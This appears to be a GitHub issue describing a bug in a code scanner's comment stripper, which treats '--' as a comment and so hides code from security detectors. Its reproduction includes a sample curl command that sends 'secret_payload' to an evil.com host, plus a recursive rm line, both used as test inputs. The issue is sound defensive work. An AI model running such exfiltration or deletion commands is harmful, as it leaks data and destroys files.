Repository navigation
Description
Summary
Found while verifying #617 (yaml)'s reopened bug list post-#694. test_skip's
--passWithNoTests/--no-audit fix from #681 is regex-correct (confirmed
directly: pattern.search("run: npm test -- --passWithNoTests") matches), and
#694 fixed the pipeline gate that was discarding yaml's output entirely -- but
the construct still never reaches detection, because a separate, deeper bug
silently truncates the line before either fix's code ever sees it.
Root cause (confirmed via direct execution)
prism.py's _strip_single_line_comments() -- the function every
line_exclusive-family language is routed to -- uses a hardcoded pattern
instead of that language's actual configured delimiters:
def _strip_single_line_comments(self, text: str) -> tuple[str, str]:
"""Generic single-line comment stripper (for '#' or ';' or '--')."""
...
pattern = re.compile(r"(#|--|;|//)") # <-- hardcoded, ignores the real per-family delimiter listgitgalaxy_config.py's actual line_exclusive delimiter list is
["#", "<#", "#>", "=begin", "=end", ";", "dnl", "%", "#|", "|#"] -- no
--, and no // either. Every line_exclusive language gets this same
hardcoded set regardless of what its own family entry actually specifies.
The practical effect: any line containing a literal -- anywhere (not just
at line start) gets everything from the first -- onward silently discarded
into the comment stream, even though -- isn't a comment marker for any of
these languages -- it's an extremely common CLI double-dash argument
separator / flag prefix.
Confirmed impact -- severe, and affects already-closed languages
line_exclusive covers 22 languages: python, shell, ruby, html, assembly, agc_assembly, perl, embedded_python, zig, dockerfile, matlab, makefile, markdown, csv, yaml, pbtxt, m4, scheme, tcl, nix, batch, jcl. At least
python, shell, ruby, perl, yaml are already-closed strict-parsing
epic languages (#518) -- their unit-level regex tests
(test_language_standards_strict.py) never caught this because they call
LANGUAGE_DEFINITIONS[lang]["rules"] regexes directly, bypassing
prism.py entirely, same blind spot as #691/#694/#617.
Reproduced directly against real code shapes:
p.split_streams('import argparse\nparser.add_argument("--verbose", ...)\nsubprocess.run(["cmd", "--", "arg"])\n', "python")
# code_stream: 'import argparse\nparser.add_argument("\nsubprocess.run(["cmd", "'
# -- everything after the first "--" on each line silently gone
p.split_streams('curl -- --data "secret_payload" https://evil.com\nrm -- --recursive /tmp/x\n', "shell")
# code_stream: 'curl \nrm '
# -- an exfiltration/destructive-command payload completely disappears
p.split_streams('system("git", "log", "--", "file.rb")\n', "ruby")
# code_stream: 'system("git", "log", "'This isn't just a missed structural signature -- for shell in particular, a
curl ... -- --data ... evil.com line (a real supply-chain exfiltration
shape) has its entire payload silently vanish from what the security-relevant
regexes (high_risk_execution, exfiltration_camouflage, etc.) ever see.
Relationship to #386 / #621
Same general area (prism.py not correctly honoring per-family delimiter
config) but the opposite failure mode. #386 fixed family-name dispatch
(nothing was being stripped anywhere). #621 fixed standard_block only using
3 of 9 configured delimiter tokens (comments weren't being stripped for 5
specific languages). This one is line_exclusive stripping too much,
using a token (--) that was never configured as a delimiter for that
family in the first place, discarding real code as if it were a comment.
Neither #386 nor #621 touched _strip_single_line_comments's hardcoded
pattern.
Scope of the fix
Needs its own investigation before implementing -- larger and higher-risk
than #691/#694 given the breadth (22 languages, several with existing
production usage assumptions baked into their already-closed strict-parsing
work). At minimum:
- Parameterize
_strip_single_line_commentsby the calling family's actual
configured delimiter list (matching what_strip_positional_comments/
_strip_nested_commentsalready do for their families) instead of the
hardcoded#|--|;|//. - Re-verify golden_crucible for every already-closed
line_exclusive
language once fixed -- expect real, previously-invisible diffs on any
corpus file containing a literal--(CLI flags, argument separators),
similar in shape to Prose-bypass languages (markdown, plus yaml/json/csv/plaintext) never get their structural signatures counted, regardless of regex correctness #691/Let markdown's structural signatures reach the detector output #692/Detector's Prose Deflection gate wrongly treats yaml/json/csv like markdown/plaintext -- structural signatures never counted for any of the three #694/Let yaml/json/csv structural signatures reach the detector output #695. - Check whether any
line_exclusivelanguage's rules were written/tuned
assuming---truncated content (i.e. whether fixing this could reveal
further latent regex bugs now that lines survive intact).
Activity
Strict tests for livecode, fix 7 real bugs (issue #593) (#707)
Fix #587: Strict parsing tests for html structural signatures (#734)
Fix #609: Strict parsing tests for scheme structural signatures (#771)
Use line_exclusive's real delimiter list instead of a hardcoded guess…